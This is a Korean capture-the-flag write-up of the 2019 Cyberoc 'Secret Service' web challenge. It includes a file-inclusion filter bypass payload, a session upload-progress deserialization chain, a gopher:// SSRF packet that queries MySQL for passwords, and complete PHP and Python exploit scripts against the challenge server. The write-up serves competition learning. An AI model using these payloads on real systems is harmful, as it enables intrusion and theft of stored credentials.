19Cyberoc – Secret Service(Hidden Service) Write up

2019 화이트햇 본선에 출제된 문제다. (화이트햇 콘테스트에서 사이버작전 경연대회로 이름이 바뀜)

1. PHP 소스를 얻어보자 (PHP 소스 릭)

먼저 제공해주는 index.php를 쭉쭉 읽다보면 file inclusion 취약점을 발견할 수 있다.

SimpleRouter::post("/intra/view", function() {
    $service = input("service", false, "post");
    if($service === false)
        return "No such service";

    chdir("intra");
    $service = str_replace("_", "/", $service);
    if(strpos($service, '/') === 0 || preg_match("/^.*(\\.\\.|php).*$/", $service))
        return "Don't cheat!";

    include $service.".php";
    chdir("..");
}); 

위 코드를 보면 /^.*(\\.\\.|php).*$/ 이렇게 정규식으로 사용자 입력을 검사하고 있는데
정규식 필터링이 미흡하므로 php://대신 pHp://PHP:// 같이 대문자를 섞어서 우회하면 된다.

service=PHP://filter/convert.base64-encode/resource=index

이렇게 php wrapper를 이용해서 index.php, config.php, helper.php, dbconn.php
서버에 존재하는 대부분의 PHP 소스를 얻을 수 있었다.

2. 취약점 찾아 삼만리 (취약점 체이닝)

소스를 얻었으니 각 소스파일을 읽어보며 취약점을 찾아보자.

1. dbconn.php에는 DB연결 정보가 담겨있었고 mysqli_connect 함수의 패스워드 인자가 비어있었다.
여기서 추측할 수 있는건, 해당 유저의 패스워드가 없다면 SSRF로 MySQL에 직접 raw패킷을 날릴 수 있다는 것이다.

2. config.php에는 ReportModule, LogModule 이렇게 2개의 클래스가 정의되어 있었는데
ReportModule 클래스의 send_real 메소드에서 SSRF가 가능해보였다.

class ReportModule {
    /* 위 아래 코드 생략 */
    public function send_report() {
        return $this->send_real();
    }
    private function send_real() {
        $target_host = parse_url($this->target, PHP_URL_HOST);
        if($target_host !== "localhost")
            return "Report can only be sent to localhost";

        $curl= curl_init();
        curl_setopt($curl, CURLOPT_URL, $this->target);
        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }
    /* 위 아래 코드 생략 */
}
class LogModule {
    /* 위 아래 코드 생략 */
    public function __destruct() {
        if($this->rpt_module == null || !method_exists($this->rpt_module, "send_report"))
            return;
        $log_string = "REPORT_LOG";
        $this->write_line($log_string." - ".$this->rpt_module->send_report());
    }
    /* 위 아래 코드 생략 */
}

3. 위 코드를 보면 LogModule 클래스가 소멸할 때 send_report를 호출하고 죽는걸 알 수 있다.
LogModule 소멸자의 첫 번째 분기문(Line 23~)을 보면 rpt_module에 ReportModule이 담겨있어야 통과가 가능하다.
하지만 눈씻고 찾아봐도 LogModule 클래스에서 rpt_module에 ReportModule을 담는 코드는 없었다.
(낚시로 rpt_module에 값을 초기화하는 set_rpt_module라는 메소드가 있었지만 해당 메소드를 호출하는 곳이 없음)
따라서 Deserialize 취약점을 통해 직접 호출해야하는 상황이었다.

4. unserialize함수에 사용자 입력을 받거나 여러 파일 관련 함수에서 phar:// 넣을만한 곳을 찾아보던 도중 config.php 상단에 있는 ini_set과, /info로 접속하면 보여주는 phpinfo 페이지의 옵션들을 살펴보니 세션에 원하는 데이터를 넣고 세션을 역직렬화하는 과정에서 Deserialize 공격이 가능해 보였다.

3. PHP의 session.upload_progress 옵션

PHP는 업로드 중인 개별 파일의 업로드 진행률을 추적할 수 있도록 session.upload_progress 옵션을 제공한다.
session.upload_progress.enabled, session.upload_progress.cleanup 이렇게 2개의 옵션은 기본 On으로 설정되어 있는데 session.upload_progress.enabledOn이면 session_start 없이 세션 파일을 생성할 수 있다. (업로드 진행률 추적을 위해 세션 사용) 단, session.upload_progress.cleanup 옵션이 On으로 활성화되어 있다면 진행률 추적에 쓰인 세션 파일은 자동으로 삭제된다. (자동으로 삭제되는 상황에서도 용량이 큰 파일을 올려서 삭제에 딜레이를 주는 방법이 있긴 함)

반대로 session.upload_progress.cleanup 옵션이 Off라면 session_start 없이 내가 원하는 값을 포함한 세션 파일을 생성하고 유지할 수 있다는 의미다.

session.upload_progress.enabled = On
session.upload_progress.cleanup = Off

문제 설정 또한 위와 같이 설정되어 있었으므로 아래 요청으로 세션에 원하는 데이터를 넣을 수 있었다.

------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="abcd"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--

 

4. PHP의 session.serialize_handler 옵션

PHP에서 session.serialize_handler 옵션은 세션의 핸들러를 지정해주는 옵션이다.
어떤 방식으로 직렬화, 역직렬화 할지 설정할 수 있으며 기본값은 php다. (그 외의 옵션들 : php_binary, php_serialize, wddx)

Local Value : session.serialize_handler = php
Master Value : session.serialize_handler = php_serialize

문제에서는 아래와 같이 Master Value를 php_serialize로 설정해놨고 페이지에서는 ini_set을 통해 php로 재설정했다.

ini_set('session.serialize_handler', 'php');

즉, 세션을 직렬화해서 파일에 담을 때와 읽어서 역직렬화 할 때 서로 다른 방식으로 진행할 수 있다는 것이다.

5. 로컬에서 테스트 + RCE가 가능한 이유

우선 로컬에서 아래와 같은 class를 하나 만들어준다.

class A {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}

또한 세션 파일에 내가 원하는 데이터를 포함시킬 수 있도록 php.ini에서 다음과 같이 설정해준다.

session.upload_progress.enabled = On
session.upload_progress.cleanup = Off

위와 같이 설정되어 있을 때 아래 내용으로 POST 요청을 하면 세션 파일이 생성되는걸 볼 수 있다.

------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:1:\\"A\\":1:{s:3:\\"cmd\\";s:10:\\"phpinfo();\\";}"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--

 

session.serialize_handler에 따른 세션 값 차이

Local Value, Master Value 둘다php일 때

upload_progress_abc|a:5:{s:10:"start_time";i:1568682523;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpHEOzEC";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682523;s:15:"bytes_processed";i:5;}}}

Local Value, Master Value 둘다 php_serialize일 때

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpz5NId3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682633;s:15:"bytes_processed";i:5;}}}}

우선 위 세션 데이터 모두 session_start를 호출해도 phpinfo가 실행되진 않는다.
다만 php_serialize일 때 직렬화된 값에서 ini_setsession.serialize_handlerphp로 변경해주고 session_start를 호출하면 정상적으로 phpinfo가 실행되면서 세션 데이터는 아래와 같이 바뀌는 것을 볼 수 있다.

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
<?php
ini_set('session.serialize_handler', 'php');

class A {
    public $cmd;
    function __destruct() {
        eval($this->cmd);
    }
}

session_start();

이유는 php 옵션은 | 파이프 문자로 세션 명과 세션 데이터를 구분하고 (a|i:1234;)
php_serialize 옵션은 세션 명과 세션 데이터를 array로 구분하기 때문이다. (a:1:{s:1:"a";i:1234;})

a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}

위와 같이 php_serialize 방식으로 직렬화된 세션 데이터를 php 방식으로 역직렬화한다면

array(1) {
  ["a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:""]=>
  object(__PHP_Incomplete_Class)#1 (2) {
    ["__PHP_Incomplete_Class_Name"]=>
    string(1) "A"
    ["cmd"]=>
    string(10) "phpinfo();"
  }
}

이렇게 | 가 나오기 전까지는 세션명으로 인식하고 그 후는 세션 데이터로 인식하면서 성공적으로 Deserialize 공격을 수행할 수 있다.
정리하자면 세션을 읽고 쓰는 과정에서 직렬화, 역직렬화 방식이 서로 다르다는 점을 이용하여 익스플로잇하는 문제다.

6. Exploit

<?php
error_reporting(0);
# made by munsiwoo

class ReportModule { public $target; }
class LogModule { public $filename, $rpt_module; }

$rpt_module = new ReportModule();
$rpt_module->target = 'gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01';

$log_module = new LogModule();
$log_module->filename = 'log/munsiwoo123';
$log_module->rpt_module = $rpt_module;

echo '|'.str_replace('"', '\\\\"', serialize($log_module));

gopher://localhost:3306/_뒤에 붙는 데이터는 MySQL 쿼리를 직접 요청할 수 있는 Raw data다. 위에서는 select group_concat(value) from intra_data.password; 를 요청하도록 생성했다.

위 코드를 실행해서 나온 직렬화된 데이터를 filename에 담아서 세션 데이터에 포함시켜 세션을 생성한다.

import requests as req
# made by munsiwoo

contents = """------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:9:\\"LogModule\\":2:{s:8:\\"filename\\";s:15:\\"log/munsiwoo123\\";s:10:\\"rpt_module\\";O:12:\\"ReportModule\\":1:{s:6:\\"target\\";s:724:\\"gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01\\";}}"
Content-Type: text/plain

------WebKitFormBoundaryUmsB8xWbmldnarAQ--"""

if __name__ == '__main__' :
    url = "http://13.209.230.31/admin"

    headers = {
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUmsB8xWbmldnarAQ",
        "Cookie": "PHPSESSID=munsiwoo"
    }

    req.post(url, headers=headers, data=contents)
    result = req.get(url, headers=headers).text

    print(result, flush=True)

get_flag

참고한 자료들 (Reference)

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
http://wonderkun.cc/index.html/?p=718
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://gist.github.com/chtg/f74965bfea764d9c9698
https://www.zzfly.net/ctf-serialize/
https://bugs.php.net/bug.php?id=71101
https://bugs.php.net/bug.php?id=72681
https://www.php.net/manual/en/session.upload-progress.php
https://www.php.net/manual/en/session.configuration.php#ini.session.serialize-handler